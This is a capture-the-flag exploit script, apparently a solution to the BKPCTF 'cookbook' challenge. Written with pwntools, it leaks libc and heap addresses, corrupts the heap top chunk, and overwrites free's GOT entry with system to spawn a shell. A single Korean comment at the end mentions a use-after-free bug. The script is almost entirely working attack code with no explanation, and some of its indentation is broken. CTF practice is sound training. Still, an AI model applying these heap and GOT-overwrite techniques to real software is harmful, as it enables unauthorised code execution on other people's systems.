BKPCTF cookbook

from pwn import *
p=remote("localhost",9001)
 
def Quit():
    p.recvuntil('[q]uit\n')
 
free_got=0x804D018
printf_got=0x804d010
__libc_start_main_got=0x804D03C
print p.recvuntil('name?\n')
p.sendline("/bin/sh\00")
 
 
def create_nd(input): #new and discard and quit
    Quit()
    p.sendline("c")
    Quit()
    p.sendline(str(input))
 
def create_print():
    global system
    Quit()
        p.sendline("c")
        Quit()
    p.sendline("p")
    p.recvuntil('recipe type: ')    
    setv_buf=u32(p.recv(4))
    print "setv_buf libc : " + hex(setv_buf)
    system=setv_buf-0x27090
    print "system : " + hex(system)
 
def give_your(size,data):
    Quit()
    p.sendline("g")
    p.recvuntil(': ')
    p.sendline(str(size))
    p.sendline(str(data))    
 
buf_got=0x804d040
leak="\x00"*124+p32(buf_got) #libc_leak 
HEAP_leak="\x00"*124+p32(0x0804D0A0) #heap leak
top_int="\x00"*896+"\xff\xff\xff\xff" #top chunk
 
create_nd("n")
create_nd("d")
create_nd("q")
 
give_your(0x40c,leak)
create_print()
Quit()
p.sendline("n")
Quit()
p.sendline("d")
Quit()
p.sendline("q")
Quit()
p.sendline("g")
p.recvuntil(' : ')
p.sendline("40c")
p.sendline(HEAP_leak)
Quit()
p.sendline("c")
Quit()
p.sendline("p")
print p.recvuntil('recipe type: ')
heap=u32(p.recv(4))
print "heap : " + hex(heap)
 
TOP_CHUNK=heap + 1040 + 1040
 
fake_size= hex((free_got - TOP_CHUNK )-8 )
print "TOP CHUNK : " + hex(TOP_CHUNK)
print "fake size : " + (fake_size)
 
print "#### Exploit Start ####"
 
Quit()
p.sendline("q")
Quit()
p.sendline("c")
Quit()
p.sendline("n")
Quit()
p.sendline("i")
p.sendline(top_int)
Quit()
p.sendline("q")
Quit()
p.sendline("g")
print p.recvuntil(' : ')
p.sendline(fake_size)
Quit()
p.sendline("g")
print p.recvuntil(' : ')
p.sendline("5") #Address 4byte + NULL 1byte
p.sendline(p32(system))
Quit()
 
p.sendline("q")
 
p.interactive()

UAF 취약점이 있는지 잘봐야겠다.